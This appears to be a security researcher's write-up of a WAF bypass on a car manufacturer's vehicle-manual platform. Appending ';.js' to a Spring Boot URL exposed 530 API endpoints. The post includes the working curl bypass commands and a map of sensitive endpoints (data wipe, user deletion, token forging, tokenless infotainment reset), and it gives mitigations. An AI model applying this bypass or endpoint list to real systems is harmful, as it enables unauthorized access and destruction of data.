A Semicolon Got Me 530 Endpoints on a Car Manufacturer
Target is the digital manual platform of one of the biggest car manufacturers in the world. Serves vehicle docs in 45 languages, connects to the in-car infotainment system. Runs Spring Boot.
Standard recon. Check for /v3/api-docs. Connection reset. WAF doing its
job. So I added ;.js to the path.
# blocked
curl -sk "https://[TARGET]/v3/api-docs"
# Status: 000, Size: 0
# not blocked
curl -sk "https://[TARGET]/v3/api-docs;.js"
# Status: 200, Size: 496362
Half a megabyte of OpenAPI spec. 530 endpoints. The WAF looked at the
extension and saw a .js file. Spring Boot stripped the semicolon
(matrix parameter per RFC 3986) and served the docs. Same thing worked
on all 5 hosts including production.
what was inside
Credentials in URL paths:
GET /api/moapi/V9/authenticate/auth/{userName}/{password}
Every login attempt logged in plaintext in access logs, proxy logs, browser
history. I hit the endpoint on production, no auth needed. Returns [] for
bad creds instead of an error.
Dev endpoints sitting in production:
POST /api/dev/consumer/token/create
GET /api/dev/consumer/token/decode
Token create + decode = forged auth.
Internal service token endpoints:
GET /api/vw-services/V1/idk/access-token
GET /api/vw-services/V1/gvf/auth-token
Destructive admin operations:
POST /api/data/V2/clear -- wipes all data
DELETE /api/users/V1/user/{name} -- deletes users
In-car infotainment management:
GET /api/mibtokenless/V1/queryRemoteReset
GET /api/mibtokenless/V1/downloadPackages/{f}/{token}
The word "tokenless" in that path tells you everything.
why it works
The WAF and Spring Boot parse URLs differently. WAF sees
/v3/api-docs;.js as a JS file request. Spring sees /v3/api-docs
with a matrix param. Two parsers, two interpretations, one gap.
Fix is to enable StrictHttpFirewall in Spring Security (rejects
semicolons), or just turn off API docs in production.
This bypass is well documented. It keeps working because WAF rules match what the WAF sees, not what the app sees.